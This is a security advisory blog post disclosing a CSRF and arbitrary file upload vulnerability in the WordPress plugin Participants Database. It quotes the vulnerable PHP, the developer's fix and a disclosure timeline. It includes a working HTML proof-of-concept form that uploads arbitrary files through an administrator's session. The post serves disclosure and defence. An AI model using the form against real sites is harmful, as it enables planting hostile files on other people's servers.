25 Aug

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Participants Database

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are arbitrary file upload vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across a cross-site request forgery(CSRF)/arbitrary file upload vulnerability in the plugin Participants Database.

The plugin’s “Import CSV File” admin page, which is accessible to Administrators, is generated by the file /upload_csv.php. At the beginning of the file it checks that file is not being loaded directly and that the person accessing it has the proper permission to access it. It then creates a new instance of the class PDb_CSV_Import:

1
2
3
4
5
6
7
<?php
if ( !defined( 'ABSPATH' ) )
  exit;
if ( !Participants_Db::current_user_has_plugin_role( 'admin', 'upload csv' ) )
  exit;
 
$CSV_import = new PDb_CSV_Import( 'csv_file_upload' );

As defined in the file /classes/PDb_CSV_Import.class.php that class extends the class  xnau_CSV_Import:

17
class PDb_CSV_Import extends xnau_CSV_Import {

The final line of the PDb_CSV_Import class’ __construct() function runs the  __construct() function of its parent class (xnau_CSV_Import):

43
parent::__construct( $file_field_name );

The __construct() function of xnau_CSV_Import, located in the file /classes/xnau_CSV_Import.class.php, would save the file sent along with the request without checking for a valid nonce, which permits CSRF, and without checking what type of files is being uploaded:

83
84
85
86
87
88
89
90
91
92
93
  function __construct($file_field) {
 
    $this->_set_root_path();
 
    if (isset($_POST[$file_field])) {
 
      if ($this->_set_upload_dir()) {
 
        $target_path = $this->root_path . $this->upload_directory . basename($_FILES['uploadedfile']['name']);
 
        if (false !== move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

After we notified the developer of plugin of the vulnerability they fixed it in version 1.7.5.4 by adding a new function that checks for a valid nonce and does a couple of checks on the file to be uploaded (the extension check through pathinfo() being the one with a security impact):

146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
protected function check_submission()
{
  $nonce = filter_input(INPUT_POST, '_wpnonce', FILTER_SANITIZE_STRING );
  if ( ! wp_verify_nonce( $nonce, self::nonce ) ) {
    return false;
  }
  $filename = filter_var( $_FILES['uploadedfile']['name'], FILTER_SANITIZE_STRING );
  $mimetype = filter_var( $_FILES['uploadedfile']['type'], FILTER_SANITIZE_STRING );
  $check =  pathinfo( $filename, PATHINFO_EXTENSION ) === 'csv' && $mimetype === 'text/csv';
  if ( $check ) {
    return true;
  }
  $this->set_error_heading( __('Invalid file for import.', 'participants-database') );
  return false;
}

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/participants-database/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=participants-database-upload_csv" method="POST" enctype="multipart/form-data">
<input type="hidden" name="csv_file_upload" value="true" />
<input type="file" name="uploadedfile" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • August 4, 2017 – Developer notified.
  • August 4, 2017 – Developer responds.
  • August 5, 2017 – Version 1.7.5.4 released, which fixes vulnerability.

Concerned About The Security of the Plugins You Use?

When you order a plugin security review from us we review the plugin for issues that hackers would exploit if the knew about them as well as making sure that that needed security checks have been implemented in the plugin. If you order two reviews you will receive free lifetime subscription to our service.

Leave a Reply

Your email address will not be published. Required fields are marked *